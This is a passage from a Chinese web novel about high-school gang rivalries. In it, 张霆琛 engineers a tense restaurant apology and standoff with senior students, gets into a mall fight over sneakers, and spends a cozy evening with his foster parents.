来到饭店门口,众人立刻察觉到四周**了不少高三学生。路译脚步一顿:"这么多人明显是来者不善,还要进去吗?"张霆琛镇定道:"只要你诚心道歉,我保证今天平安无事。"路译摸了摸口袋里的通讯器和**,硬着头皮走进饭店。二楼大厅里,两张大圆桌旁坐着十几个高三学生,投来的目光充满敌意。复古风格的中式装潢此刻无人欣赏,空气中弥漫着剑拔**张的气息。
路译清了清嗓子:"各位学长,之前多有得罪,今天是特地来道歉的。""路译?来来来,坐这儿!"**故意指着张霆琛,明显是在羞辱。路译强忍怒气,继续赔笑:"那天是我冲动,实在对不住。"
"哟,原来你就是路译啊!"**讥讽道,"说说看,为什么当初要躲着不敢见人?"见路译语塞,**话锋一转:"钱带了吗?"路译瞥了眼张霆琛:"钱一会儿就到。""那就先吃饭吧。"始终冷眼旁观的韩越突然开口,"张霆琛,坐我旁边。诗韵也过来。"
这个安排将路译独自晾在一边。韩越又对邓志辉和李辰浩招手:"给你们兄弟俩也让个座。"两人对视一眼,坦然入席。路译只得自己找了个空位坐下。随着**一声"上菜",身穿旗袍的服务员开始上菜。看到满桌的鲍参翅肚,路译暗自庆幸不用自己买单,甚至幸灾乐祸地想:看你怎么承担这顿天价饭局!
韩越亲自给张霆琛斟酒:"听说你酒量不错?"张霆琛二话不说一饮而尽。"痛快!"韩越赞许道,随即压低声音:"但今天这事,你打算怎么收场?"张霆琛望向孤立无援的路译:"能让他全身而退就是最好的结果。""哦?"韩越挑眉,"他全身而退,你怎么立威?""我什么时候说过要当老大了?"张霆琛故作茫然。
韩越意味深长地笑了:"你小子不老实啊...说说看,今晚到底什么计划?"见张霆琛笑而不答,韩越也不再追问,只是暗自期待接下来的好戏。酒过三巡,**拍桌道:"钱怎么还没到?"路译再次求助地看向张霆琛,额头渗出冷汗。就在气氛即将失控时,王涛气喘吁吁地冲进包厢,寒冬里竟满头大汗:"对不起!取款机没钱了,我跑了三家银行才取到!"他一边擦汗一边从包里掏出一个牛皮纸包裹,里面赫然是两沓万元现金。
所有人的目光都被那叠钞票吸引。**意味深长地说:"不错嘛,手下兄弟挺靠谱啊。"然而下一秒,王涛却径直走向张霆琛递上钱款。路译瞬间脸色煞白。张霆琛佯装震怒,一把揪住王涛衣领:"**脑子进水了?这是译哥的钱,给**什么!懂不懂规矩!"王涛"委屈"地低下头。
第七十八章:饭局
王涛径直走向张霆琛,听张霆琛的口气好像王涛是张霆琛的手下兄弟。**赶紧站起来说道:"不对!这钱是谁的?"
张霆琛看**要生气,连忙说道:"鸣哥你别生气,这钱就是威哥的!只是我兄弟去取而已!""放屁!你兄弟去给路译取这么一大笔钱!**再傻会这么有毛病吗?赶紧的别跟老子玩这一手,说这钱是谁的?"
"鸣哥这钱真的是译哥的,不信你问译哥!"张霆琛指着路译说。张霆琛把问题一下子推给了路译,路译还真不知道怎么回答。**这时哼哼一笑说道:"好啊!路译,你歉让人家道,钱也让人家出,你**是什么玩意儿!?"**和王涛一样是个直肠子,最看不惯别人玩手段,要说张霆琛今天扮的是善,那路译就是恶了!路译半天憋不出一句话来,最后就看**一个盘子朝着路译拽过来骂道:"给我弄住他!"说完一帮人便开始上手。张霆琛见状给了李辰浩一个眼色。李辰浩明白后一个箭步冲到路译边上拿出一把银刀,另一只手将淹没在人群里的路译拽出掩护在他前面!
所有人看到刀以后便有所忌惮的往前冲,这时**推开前面的人走到李辰浩边上说道:"你又是谁?"张霆琛从韩越边上走过来说道:"这是我兄弟!"**惊讶地看着张霆琛,主要是没想到张霆琛会这么从容不迫,然而最让他吃惊的是张霆琛手下竟然有一员猛将,接着**说道:"好小子!你是不是就打算跟我过不去了?"
"鸣哥你误会了,译哥帮过我,这个恩我必须报。"张霆琛走到**面前。"好一个报恩,你们看见他处处把你往枪口处推吗?"**生气地说。张霆琛转头看了眼路译之后对**说:"他怎么对我是他的事情,我怎么报恩是我的事情!"张霆琛这么说其实也是这么做的。今天要是真的把路译保出去了也是再好不过的事情,最起码留下来好的口碑。但是路译却是不争气啊,这位这时单手插兜将手按在对讲机的一个按钮上,接下来就听见有嘟嘟的声音。**意识到不对然后指着路译说:"你**干什么呢!什么响了?!"
话还没说完就听见楼下有打斗的声音,路译这时冷笑着对**说:"我早就知道你今天不会放过我,所以就别怪兄弟我准备齐全了!"路译说完大强便带着人打了上来。路译没想到会这么快。心理这个得意,这下从楼底下一下子涌上来不下八十人。这二层的酒楼也大,但是这么多人一下子还真快把这里填满了。**见状好像并不意外的说道:"好好!其实你今天自己交了钱就可以走人我没有必要真的为难你!但是你现在做的事情就真的触了老子的逆鳞!"
"哼!死到临头还嘴硬!兄弟们给我上!"路译得意地喊道。但是突然间**打了一个响指,接着周围的包间里涌出了一批拿刀的高三学生,这下所有人都愣住了,这帮高一的学生哪见过这架势,一个个的都吓的往回退。这时**有些得意地说道:"你以为你要动手的消息我们不知道吗?"路译明显被**的这一手吓一跳,路译狠狠地看着谢诗韵说道:"是她说的吧!"
"**说什么呢!本姑娘不插手你们的事情!谁乐意去传你的话!**!"谢诗韵不高兴地骂道。
"你!"
"别你你的!你到处叫人你以为我在高一就没人吗?你小子的脑袋是不是秀逗了?"说着**开始往前走,现在已经和张霆琛胸口对着胸口了,**用最后的好口气对张霆琛说:"兄弟!我看你仗义,你让开!带着你的人走开,咱们今天的事情就一笔勾销怎么样,你要是在帮这种小人哥哥我可替你不公啊!"张霆琛把头低下笑了两声说道:"要说兄弟,上来的人都是我的兄弟!大家都一起喝过酒吃过饭!威哥帮过我今天的事情我必须帮他度过!"
"好!你是绝对不让是吧!好样的!"接着**一拳打了上来。张霆琛没有躲这拳结实地打在了张霆琛的脸上,张霆琛虽然被打了但是脚步丝毫没有往后退一步。张霆琛捂着脸说道:"鸣哥你出气了吗?"**现在是真的生气了紧接着又是好几拳打在张霆琛的脸上。张霆琛依旧丝毫没有往后退。张霆琛擦了擦脸上的鼻血又重复说道:"鸣哥你出气了吗?"这下**真的是气疯了。他这个恨那!他恨什么?他恨张霆琛为什么会为了这种窝囊废挨打,**为张霆琛可惜。可是现在怎么能办**还真么办法,在这么僵持的时候人群里的彭志龙终于忍不住了,他站到前面对躲在李辰浩后边的路译骂道:"路译你**还是不是人了,我大哥让他们这么打,你**说句话啊!"彭志龙一句话直接带动了情节的高潮,彭志龙走上来双手提着路译的衣领说道:"你**是不是人了!我大哥帮你买单,我大哥替你挨揍,我大哥替你道歉!你现在看着我大哥挨揍!你良心安着是吗?"
路译一把推开彭志龙骂道:"你**算什么东西!告诉你这些都是他自己乐意的,要不是我他早就让刘振平他们打的在高一抬不起头来了,现在是他还我的!"路译这句话算是激起了民愤,有很多人都愤怒地看着路译。**笑着把手搭在张霆琛的肩膀上说道:"小子,听见没有?这就是你要护着的人,后悔吗?"
张霆琛苦笑说道:"画虎画皮难画骨,知人知面不知心!""那就然开吧!"**说道。"今天我是不会让开的,要么你鸣哥踩着我过去,我绝不怨你鸣哥,要么鸣哥你拿着钱我让译哥给你们道歉这事算了!"张霆琛依旧坚定地说。**不明白为什么张霆琛这么执迷不悟,在人群里的林凯他们也受不了了,一个个的走出来到张霆琛边上说道:"走吧二哥!为了他值吗?"
"你们把嘴闭上!你们走!我留着!"张霆琛说。这时在人群里路译的人说话了:"译哥你给人道歉不是什么丢人的事情,事已至此咱们还有什么可打的?"接着周围有不少声音都赞同着。路译看没有办法,今天打是打不过了,要再是让张霆琛出风头他就声名扫地了,最后只好只好走到张霆琛前面对着**说:"哥对不起,我错了!"
**毫不客气的一嘴巴扇在了路译的脸上,刚才**打张霆琛都没打嘴巴,因为这时一件非常丢人的事情,**敬重张霆琛是条汉子所以用的是拳头。但是他很透了路译,虽然一个嘴巴不是很疼但是确实极羞辱人。路译捂着脸还没反应过来**又是一个嘴巴。然后接二连三的打在路译的脸上。**还没出完气,张霆琛一个箭步走到前面挡住他的手说:"鸣哥,差不多了!"
**看又是张霆琛,这气是不打一处来。**甩开张霆琛然后说道:"好!我今天就给你面子!"他指着路译说道:"去取钱!今天这顿饭是每桌三千,共六千,加上你打我兄弟的钱你去取一万块钱。这件事算了了,要不!哼哼你就看着办吧!"张霆琛转头把王涛手上的两万块钱拿出来说道:"这钱我先垫着可以吗鸣哥!"
**一字一顿地说道:"不行!"**的一句不行嗓门很大,直接镇住了所有人。**指着张霆琛说:"小子你别得寸进尺了!这钱必须由路译拿,你要是再执迷不悟!咱们今天这事儿这么就了不了了!"张霆琛看**已经到了极限,张霆琛回头看了眼路译询问他的意思。路译捂着脸说道:"我现在没有这么多,银行里也没有,周一一定给你拿来行不行?"
"不行!"又是一个不行!**生气地说道:"这一万块钱我要的不多,三千多的医药费精神损失费,六千多的饭费。你周一给我钱你让我拿什么付就今天的酒钱?"
"那就叫我爸来!"这句话路译算是来了底气。但是**更是来气了,他最讨厌的就是没事找家长解决事情的人。**气急败坏地对着后面的人喊道:"你们听听!你们的大哥怕挨揍把他这位兄弟顶在前面。你们大哥自己惹的祸让这位兄弟给买账。你们大哥现在还要找自己的老爸解决事情!你们跟了一个好老大啊!"这几句话说的他们各个替路译丢人,脸红的抬不起头来。
路译也是脸红耳赤的。但是现在没有解决的办法路译也豁出去了坚持说:"让我爸来!"路译心想自己老爸要是来了看你们还敢不敢嚣张!半天韩越在一旁一句话也没有说过,他就是一个观众,看看张霆琛是怎么处理这件事情的。**看了眼韩越想让他拿主意,韩越无所谓地耸耸肩。**明白后说:"好!你叫吧!你老爸来了就是两万!想好了再叫!"
路译心想自己老爸来了不管你们要钱就是好事。路译拿出手机就给自己老爸拨通了电话。不一会儿电话那头有声音传来。想来是他老爸吧。"喂!路译啊!怎么了!""爸,我让人围在酒楼了!"对面路译他爸显然很吃惊然后就是大怒骂道:"操!谁敢围我儿子?""带着刀的!你来就知道了!"路译有丝得意地说道。在一旁的**指着他骂道:"妈的!"最后**都气的说不出话来了转头一脚踹在桌子上,直接把桌子踹翻了!
路译他老爸一听见说带刀马上就以为是仇家追杀马上安抚路译说道:"儿子你别害怕!老爸马上就到!"说玩就把电话挂了,旁边的王涛听得最清楚,直接就笑了出来。王涛捂着肚子笑,就连张霆琛也差点笑出来!但是张霆琛还是控制住自己咳嗽了一声提醒王涛不要笑了。这时李辰浩也把刀收了起来。**对对张霆琛说:"你去洗洗脸去吧,我不会对他怎么样的!"张霆琛觉得也是,现在张霆琛的鼻血还在往下流。张霆琛苦笑一声便去清洗,想来张霆琛出来这么久还没有受过这么重的伤。**身边的人问道:"要不要大家把刀收起来?"
"收什么?你没听见人家译哥跟自己老爸说有人带刀吗?咱们能让他胆小如鼠、能让他躲在人家身后让
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别人挨刀子,咱们还能让他撒谎吗!"**好笑地说道。这下好多人都笑了。没过一会儿就听见楼下一阵汽车的马达声音和刹车的生意,然后就听见电话里男人的声音大骂道:"谁**动我儿子!"想来是路译的老爸来了,路译看见自己老爸后像是看到救星一样,眼泪一下子就流下来了。路沣看见拿刀都是一些学生,这气就更是不打一处来。他指着这帮学生说道:"你们**谁带的头?敢动老子儿子!"
韩越这时站起来说道:"路叔叔人是我带的!"路沣看向韩越,显然是一惊没想到会是韩越。路沣这下语气平和了一些说道:"大侄子你给解释一下怎么回事吧?""叔叔你先别生气,是你儿子先动手打的我兄弟,我出面和解最后他还出言不逊,现在又带着那么多人上来找茬,所以现在的情况就是你看见的!"韩越解释说。
路沣看了看路译,路译没有解释什么,路沣就知道人家说的是实话了,接着他说道:"那现在没事了吧?我带着人走了!"说完路沣就要带着人走,但是韩越却说道:"叔叔你别急啊!
他还欠我们两万块钱呢!""什么?两万块钱?哪来的两万?"路沣不解地问道。"就是这一桌子饭和我兄弟挨打的费用!"
"一帮孩子打架你们还按照道上的规矩来是不是过了?"路沣有些生气地说道。韩越无奈地说:"本来就是一千的医药费还有饭钱,但是他犯了太多的禁忌,还带着人要砸我的酒楼,我没有办法啊!这钱你看看是不是要给的?"
"哼!让老子给你们钱!还早了一百年吧?"路沣生气地说''“叔叔你要是不给钱,我跟兄弟们没有办法交代啊!""那是你的事情!"说完他就要带路译走!但是韩越说道:"你要是带他走了,钱我就朝这些其他的孩子要了!"
"你愿意朝谁要就朝谁要!我管不着。"然后拉着路译就下楼了。路译本来想再说些什么,但是直接就被路沣拉了下去。这下所有人都傻眼了没想到路译会丢子自己人和自己老爸离开!
这下韩越算是真的生气了,韩越抓起桌子上的烟灰缸砸到了地上骂道:"为老不尊!哼!路家!你们**是活到头了!剩下的人谁也不能走!把钱凑出来走人,凑不出来一人留一根手指头!"
张霆琛在厕所听得是一清二楚,之所以没有出来就是想看看事情的发展情况,等路沣走后张霆琛听到生气的韩越说的话他知道机会来了。张霆琛走出来以后朝着韩越走过去说道:"越哥,别生气!这些人也没有什么错!"
韩越看着张霆琛然后说:"哼!你今天管的太多了张霆琛!"其实刚才韩越说的都是气话,现在需要找一个台阶下。他也不想把事情闹大,这么多学生要是全都断手指那可不是小事。到时候没准连自己老子都保不住自己。张霆琛知道韩越要台阶,张霆琛拿起酒杯说道:"这一杯就是我给路译赔罪!"说着就一口吹了一瓶啤酒。然后他说:"这一杯是我给众兄弟赔罪!"说完就又吹了一瓶。
和张霆琛吃过饭的人知道张霆琛不胜酒力。这两瓶下去让张霆琛的肚子里是翻江倒海的难受啊!所有人看着张霆琛都是一阵感动。韩越看面子算是找回来了然后说道:"那这件事就先算了!但是下回你要是再护着路译我连你一起做!"
"我知道!"张霆琛走到大强身边问道:"怎么想的?"大强苦笑说:"看错人了!""我做的如何?""仁至义尽!""然后呢?"大强犹豫了一下说:"我知道你想说什么!"说着大强凑到张霆琛的耳旁说道:"我知道今天有一半是你在导演,但是也算是仁至义尽了,错是路译先犯的,你没有错!今天你能做到这些我就很感动了!"说完大强大声声明说道:"今天我大强就跟着琛哥混了,其他人不愿意的就回家吧!"
张霆琛现在也到了表态的时候。张霆琛又拿起一瓶酒说:"对路译我仁至义尽,但是他竟然这么对这般兄弟!"张霆琛喝完这一瓶酒后说道:"我张霆琛从今天起和路译绝交!愿意站在我这边的留下吃饭,不愿意的我张霆琛不勉强你可以直接走了!"张霆琛把话说的很漂亮,事情做的也很漂亮。现在张霆琛等于是逼大家做个抉择,该做的张霆琛都做了,只剩下着最后一步了。
张霆琛事先安排进路译他们里边的人先说话了:"我愿意跟着琛哥,路译这种人没法跟!"紧接着又有人接二连三地站出来。但是最后还是有二十多人离开了。大强过来说道:"这些走的人是路译特意隐藏起来的人,这些人对你还不熟,等等以后再收会有机会,跟着走的还有我们一个宿舍的其他人。接着大强冷笑一声。张霆琛拍着他的肩膀说"我知道现在就你自己了,但是从此时此刻起你有的是我们!说完李辰浩和邓志辉他们纷纷走了过来围住大强说"没错,现在你有我们!"
第七十九章:新年礼物
这下张霆琛算是收了一帮人,为自己巩固了实力。留下的人由张霆琛请客吃饭,他坐在韩越边上,另一边是**。**拿起酒对着张霆琛说道:"张霆琛,我**活这么大就佩服两个人,一个是越哥一个就是你了。跟你说今天你**的爷们!"
张霆琛也拿起酒杯站起来说:"鸣哥你客气了,我这还不是打肿脸充胖子!今要不是你给面子我哪还站得起来啊!""你得了吧!我打你那几拳都是用了力气的,硬是没把你打开,好小子身手不错啊!""好了鸣哥你就别夸我了,我先干为敬!"说完张霆琛一口干了。但是刚刚喝进去便转头吐了出来,吐得稀里哗啦的。引得大家一顿嘲笑。
**说道:"就你这酒力还连吹两瓶!笑话!别在这显眼了。"韩越也说道:"就是!赶紧的叫人收拾收拾!这叫怎么回事!哎呦好味啊!"张霆琛这么吐,但谢诗韵却不嫌弃,直接扶着他:"你们先吃,我带他去吐一会儿!"然后拉着张霆琛就去了厕所。
谢诗韵一个劲地帮张霆琛拍后背,张霆琛此时也没什么意识,就是一个劲地吐。谢诗韵没办法就向服务员要了点醋强灌着往下喝,结果张霆琛一个没忍住又吐了出来,这下可好直接吐在了谢诗韵的裤子上。谢诗韵也没生气接着给他灌醋。
过了一会,张霆琛清醒一些了,嘴里模糊地说了一句:"谢谢!"谢诗韵没听清但知道他说什么,不满道:"我这么帮你你就一句迷糊的谢谢!多伤人啊,你这是我认识你以来对我最客气的一回了!"张霆琛没理会,只是说:"好了放开我吧!"结果一推开谢诗韵自己就摔了个大跟头。谢诗韵赶紧扶起他:"你就逞能吧你!"接着把张霆琛的胳膊搭在自己肩膀上搀他回饭桌。
这一幕正好被过来的梁颖看见,她拉着陈曦的手看着张霆琛这样搂着谢诗韵,简直不敢相信自己的眼睛。韩越见状摇了摇头:"误会深了。"林凯也起哄:"哎!要是我就不知道怎么解释了!"张霆琛迷糊地看着大家,还没反应过来,梁颖在身后大喊一声:"张霆琛!"
张霆琛一回头就傻了,谢诗韵倒不是很惊讶。张霆琛赶紧推开谢诗韵想解释,但梁颖根本不听,转头就走。张霆琛想追,但腿直打转儿,直接摔到地上。他赶紧对李辰浩说:"大哥,追她!"李辰浩领命去追人。谢诗韵想扶他,张霆琛一把推开:"都是你!"谢诗韵生气道:"喂!你这个人还讲理吗?是你媳妇儿不相信你,你反过来说我!"说完哭着跑出去了。
**走过来拉起张霆琛:"小子,这可就是你不男人了,男人再怎么冲动不能对女人冲动!过来坐会儿就好了!"这时大家都吃得差不多了,邓志辉询问了一下大家的意思便让其他人撤了,但大强坚持不走。现在就剩下张霆琛他们和韩越等人。
韩越问道:"张霆琛以后怎么打算的?"张霆琛揉了揉太阳穴:"还没什么打算,先把路译的人全接手。倒是越哥怎么打算的?今这个场子要找回来吧?"韩越冷笑:"不错,这个场子必须找回来!路沣也太不给面子了!"
"你打算怎么找?""哼!早在之前路沣就开始扩张,暗地里扫了我们好几个场子。今天就借机开始扫他!""那么复杂?路沣到底是什么来路?""他就是一个区的老大而已,谁的人也不是。""那他敢跟你们叫板?""所以说最近他不对劲!好像有什么靠山了,要不放在平时今天的事情他准得赔钱走人!"
"这样啊!""现在你怎么办?媳妇可都跑了?"韩越嘲笑道。"不管她先!李辰浩去追了!真是麻烦!"张霆琛抱怨道。"说得轻巧,告诉你女人是用来哄的!说点别的,今晚跟我一起去扫场子?"韩越邀请道。张霆琛想了一下还是拒绝了:"虽然路译对我不义,但总归是对我有恩,我再这么落井下石总归不好!"这话是说给大强听的,大强甚是感动。
"那好吧。听说你和高二的李耀还有你们年级的刘振平有点摩擦?"张霆琛也没隐瞒,说了这些日子和他们结仇的经过。当说到让刘振平和龙镇宏替罪时,**拍手叫好。韩越更是欣赏地看着他。张霆琛不好意思道:"都是侥幸,运气好而已!"
"二哥你就是谦虚,这几仗你哪个打得不漂亮?我王涛最服的人就是你了!"王涛借着酒劲说道。张霆琛突然想起什么:"几位哥哥,我想自己摆平李耀和其他几个人,咱们今天喝过酒也算是兄弟了。能不能不管我们这点烂事?"
韩越笑道:"好!有志气,阿鸣那你就吩咐下去,你的人不要参与。"又对张霆琛说:"但我不能保证其他两位高三的不参与,总的给你加点难度吧?实在不行了再叫你鸣哥出马!"张霆琛马上谢道:"谢谢几位哥了。我想摆平他们还不是问题!"
正说着手机响了,是陈曦的:"小颖在楼下,你下来一趟吧二哥,她挺伤心的!"张霆琛放下电话找了个借口离开饭桌到了楼底下。张霆琛到了楼下,李辰浩和陈曦都在。梁颖一个人坐在台阶上背对着张霆琛,他深吸一口气走到梁颖身后,李辰浩和陈曦识趣地上楼了。张霆琛组织了一下语言,然后拍了一下梁颖的肩膀:"还让我解释吗?"
梁颖猛地回头,一下子愣住了,她还不知道张霆琛打架了。此时的张霆琛脸上几乎没有一块好地方,都是被**打的!梁颖赶紧站起来,用手轻轻碰着他的脸:"疼吗?"张霆琛抓住她的手:"不疼!今天的事情是这样的...""你别说了我都听大哥解释了,但是你又打架了,这个你怎么解释?"梁颖又心疼又生气。
"我们没有打架。""你还狡辩!满脸的伤还没有打架?"张霆琛冤枉地说:"我真的没有打架。是挨打!""挨打就不是打架吗?你就会狡辩!""我这是替路译挨的好不好,你以为我愿意让人家打我啊!你见过谁能把你老公打成这样的?"张霆琛厚着脸皮说。
梁颖一下子被逗乐了,但还是强装严肃:"你以后不准打架了,还有以后吃饭谢诗韵去我就去!下次你往我身上吐都没关系!"张霆琛一听马上一个劲往梁颖胸口扎,梁颖赶紧推开他:"你怎么这么不要脸啊!这是大街上好不好!"
"你让我吐的!我现在就不舒服,所以想吐!"说完又往梁颖怀里扎。梁颖见张霆琛这样厚脸皮只有往后躲。可他们不知道的是,这个酒楼有露天阳台,他俩这样全被大家看个清楚。最后是王涛在楼上嚎着:"二哥不要脸!嫂子揍他!"
张霆琛一抬头看见所有人正看着他们,他厚着脸皮无所谓,但梁颖的脸一下子红了,赶紧跑进屋里躲着。张霆琛见状赶紧追进去。没一会儿大家都下来了。韩越走在前面:"张霆琛你真不跟我去砸场子吗?"
"真的不去了!不合适!""那行,咱们以后再喝酒!"说完韩越就走了。**走过张霆琛时问:"疼吗?""还行!要是力道再大点估计就面部骨折了!"张霆琛开玩笑。**哈哈大笑,给了张霆琛肩膀一拳:"以后在学校有事说话,我挺喜欢你的。咱们以后就是自家兄弟!"说完也走了。
大家都走后,就剩下张霆琛这一伙人了。他问道:"怎么着?回家还是哪玩去?""玩去呗!台球厅的干活!"王涛说。"你还有钱吗?"林凯问。王涛美滋滋地说:"刚才二哥让我去交钱,结果人家服务员说这是韩越家开的,韩越不让她们收钱,所以这两万块钱就留下来了!咱们玩玩去啊?"
"还没说呢二哥,你这两万块是怎么来的?"土狗问。张霆琛神秘地说:"这是个秘密,等以后有机会告诉你们!""又是这句话!都不知道到时候是什么时候!"邓志辉在一旁挖苦。张霆琛一下子搂住邓志辉的脖子:"我不会害你们,但告诉你们就是害你们。咱们现在还没有势力让我说这些。等等吧大家!"说完深深鞠了一躬。
所有人都被这突然的举动搞得不知所措。邓志辉扶起张霆琛:"大家既然让你领头就是相信你,你什么时候说是你的事,不影响咱们的关系!但我们会给你出谋划策让你站在更高的地
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方,然后告诉我们这些事情!"邓志辉的一番话让张霆琛很感动。他没再说什么,只是轻轻打了邓志辉胸口一拳表示信任。梁颖对这一切不是很理解,但还是被氛围感染。
接下来张霆琛说:"大家要想去玩就去,这样吧我觉得也快放假了,春节前后我估计大家都出不来,不如我出钱大家在商场里每人挑一件东西,算是我这个做哥的新年礼物怎么样?""万岁!"王涛第一个跳起来。买礼物谁不愿意去啊。张霆琛搂着梁颖,大家打车去了最近的家乐福商场。
这帮孩子就在里边左转转右转转,都想挑个又贵又好的礼物。王涛直奔鞋店,最后穿着新鞋就往外走。店员赶紧追他:"有人抢鞋啦!"引来不少围观者。等保安来了,张霆琛也过来了,不解地问:"你看上了就告诉我,我给钱就得了!干嘛穿着鞋就跑!?"王涛不满地说:"有个人也要买,我没办法只好这样喽!要不就被人家买了!"张霆琛摇了摇头,心想真是一个活宝啊!
他走到店里对店员说:"钱我付,鞋让他穿走吧!"店员不满地说:"没见过这么野蛮的人,现在不是付钱的事情,是人家已经交完钱了所以这个鞋已经是别人的了!"张霆琛还没说话,就听一个人指着王涛说:"赶紧把NIKE限量的鞋脱下来!**侮辱了鞋!"这人看上去也是学生,但应该是高中生!
王涛回骂:"怎么着!你丫说什么呢!是不是活腻味了!"那人身后又跟上来两人都指着王涛骂。虽然人家骂得难听,但也是王涛不对。张霆琛上前说:"哥几个这件事就这么算了吧,我多给你们点钱这双鞋就让给我兄弟吧!"那人打量了一下张霆琛,突然大笑:"哪来的小丑啊!哈哈哈哈!"梁颖不高兴地说:"你说什么呢!你这个人不觉得你很没有礼貌吗?"那人看了眼梁颖,嘲笑说:"鲜花插在牛粪上了,要不这样吧小姐。你跟着我走今天!然后我这双鞋免费给他!"
"你才是小姐!"梁颖骂道。男孩没想到梁颖会这么生气,冷哼一声:"还他妈给脸不要了!"还没说完就被谢诗韵扇了一巴掌。他刚要回击,张霆琛终于忍不住了,一脚就给他踹了出去!然后对陈曦说:"拉着颖颖!这种人不收拾我难受!""呦呵!就凭你!"这人的同伴嘲笑张霆琛一句就要上手,结果被一个左勾拳一个侧踢打出去。
邓志辉他们立刻围了上来,三个人很快被收拾了。骂人的男孩在地上哭着说:"你们仗着人多欺负人!你们等着!我会回来的!""你动画片看多了吧!还你会回来的!滚蛋!"王涛骂道。这几个人爬起来就要走,但张霆琛叫住他们:"你们回来!我把钱给你们!这件事起因是因为我兄弟不对!这双鞋我看标价是4000。我给你们4500,这件事就别再追究了!"
那个男孩接过钱后问:"你们在哪里上学?""贵族高中!"邓志辉答道!这几个人听完后跑了两步说:"你们等着!咱们后会有期!到时候你们就死定了!"说完就疯狂逃跑,惹来一阵鄙视!张霆琛无奈地看着王涛:"你能不这么活宝吗?一双鞋而已!""这双鞋可是全广市都没有了,我找了好久的!正好这里还有一个存货,虽然号有点大,不过多垫几个鞋垫就好了!"王涛一边说一边笑,好像刚才的事情一点也不丢人。
大家都很无奈,各自去挑东西了。最后邓志辉要的是打火机,陈曦要的是毛线和针,李辰浩买了瑞士**,大强要的是宽松的嘻哈**衫,林凯要的是限量版高达模型...反正就是没人给张霆琛省钱。最后结账时竟然是50000,气得张霆琛还去取了一趟钱。取钱时他吓一跳,卡里竟然有66万!没想到欧阳云竟然给了自己66万的银行卡!
取钱时大家不放心地问:"有没有这么多啊!都怪你王涛要大家可劲挑!"王涛得意地说:"你们就安心吧,咱们的二哥可是富有无比的!哈哈!"原来他知道张霆琛卡里有多少钱才敢这么算计的。这回可算是让王涛阴到张霆琛了!
第八十章:联盟
张霆琛他们几个回到家以后,何欣看到他满脸是伤,立刻心疼地上前询问。张鹏倒是很放松地说道:"嗨,有什么可紧张的,孩子要是不舒服早就说了。你这么问反而让人烦!"
"哼!不是你亲儿子你就不关心是吧?我可是把他们当宝贝供着!都是我的好儿子闺女!霆琛还疼不疼?来干妈给你上药!"何欣不满地瞪了张泽一眼。
张泽一听这话就来气了:"什么叫不是我亲儿子闺女?孩子们打架是常事,你看看你这大惊小怪的样子!哎呦,跟你这个老太婆说不清楚!不说了!"
张霆琛见老两口要吵起来,赶紧打圆场:"干爸干妈别吵了,我保证以后不打架了。我们都是你们的亲儿子闺女!"张泽听到这话心里舒坦极了,得意地对何欣说:"你看看咱孩子多会说话,再看看你!哼!"
"哎呀!你还怪起我来了?你一个初中毕业的还敢说我?我可是高中毕业,要不是家里穷上不起学,会嫁给你这个穷小子?"何欣叉着腰反击道。
"现在后悔了?早干嘛去了?"张泽寸步不让。这让张霆琛三人很惊讶,没想到平时温柔的老两口拌起嘴来这么犀利!陈曦赶紧搂住何欣的胳膊:"干妈别吵了,教我织毛衣吧,快冬天了,我想给他们几个还有苏旭织件毛衣。"
何欣搂着陈曦说:"好!干妈这就教你!"然后白了张泽一眼就去教陈曦织毛衣了。张泽无奈地叹了口气:"你们看看这老婆子得意的!""得意?"张霆琛好奇地问。
"是啊,其实自从你们来了以后,我们老两口特别开心。你们都是懂事的孩子。以前我们很少拌嘴,最近却经常吵,好像回到了年轻时候。总之就是很开心。我们是因为开心才会拌嘴!所以你们别担心,我们这是恩爱!"
"谁跟你恩爱啦?穷小子!"何欣在屋里笑着回嘴。张霆琛他们也跟着笑起来,这就是张霆琛想要的家,温暖而真实。他们回家后都会陪着两位老人聊天看电视。张泽和孩子们都喜欢看美国大片,讨论起来头头是道,代沟在他们之间仿佛不存在。张霆琛在学校有一帮兄弟,回到家又能感受到家的温暖。
此刻的张霆琛真希望时光能永远停留在这里。但美好的事物怎会永远停留?池中金鳞终将飞天,又怎会在池中度过一生?
美好的周末转瞬即逝。开学这天,天气转冷,大家都不穿校服上衣了,但裤子还是要穿。张泽送他们到学校后嘱咐几句就离开了。下车后,所有人的目光都聚焦在他们身上。陈曦对张霆琛说:"二哥你看你!非要选这个彩色羽绒服,还每人一件!我穿还好,你们穿怎么这么别扭啊!"
张霆琛看看自己又看看李辰浩:"这是艺术,你们不懂!等会大家一起穿这个在学校走动多拉风。""一群大老爷们穿粉色羽绒服,你们真敢。我就不信他们今天会穿来!"陈曦不信地说。张霆琛搂着他俩:"你们信不信,今天都得穿这件我选的战袍?"
李辰浩今天肯穿这件衣服完全是张霆琛软磨硬泡的结果。现在的李辰浩还在脸红,张霆琛说什么他都听不见。陈曦说:"你看你把大哥弄的,都不会说话了。就你脸皮厚,都快赶上苏旭了!"
"打住!我比他差远了!这周放假咱们去看苏旭吧?"张霆琛提议。陈曦眼睛一亮:"好啊!真想他。但他们不是去南城了吗?通讯设备都被没收了,想联系都联系不上!"说到这,陈曦有些失落。张霆琛安慰道:"别担心!总会有团聚的时候。咱们是过命的亲人,亲人总会再见的!"陈曦听完倍感安慰。
他们走进校园,陈曦突然瞪大眼睛,前面王涛和邓志辉他们穿着一身粉色羽绒服迎面走来。陈曦掐了自己一下:"不会吧?他们真穿了?"张霆琛得意地说:"在雪地里咱们就是一道风景线!美丽的风景线!"
"臭美!"梁颖跑过来扑进张霆琛怀里。张霆琛刮了下她的鼻子:"怎么样,咱们这样拉风吗?""靠!亏你想得出来!你私自打包十件羽绒服,走时才告诉我们这是礼物,还逼我们发誓周一必须穿来,结果竟是这个!你坑死我们了!"邓志辉抱怨道。
王涛在一旁嘲笑:"我看你穿得挺开心啊!刚才不是说很拉风吗?""我什么时候说了?"邓志辉不承认。"你就是说了!敢发誓吗?""怎么不敢?我发誓我要是说了,王涛不得好死!"王涛一开始没反应过来,还笑着说:"好好!一会就不得好死!"等明白过来后,立刻追着邓志辉打:"我要杀了你邓志辉!知道我脑子转得慢还玩文字游戏!"
他们正闹着,谢诗韵出现了。对谢诗韵,张霆琛有些愧疚,毕竟那天是他不对。但让张霆琛道歉是不可能的。谢诗韵知道这点,大方地说:"本姑娘不生你气了,但你们的衣服必须送我一件,否则绝不原谅你!"
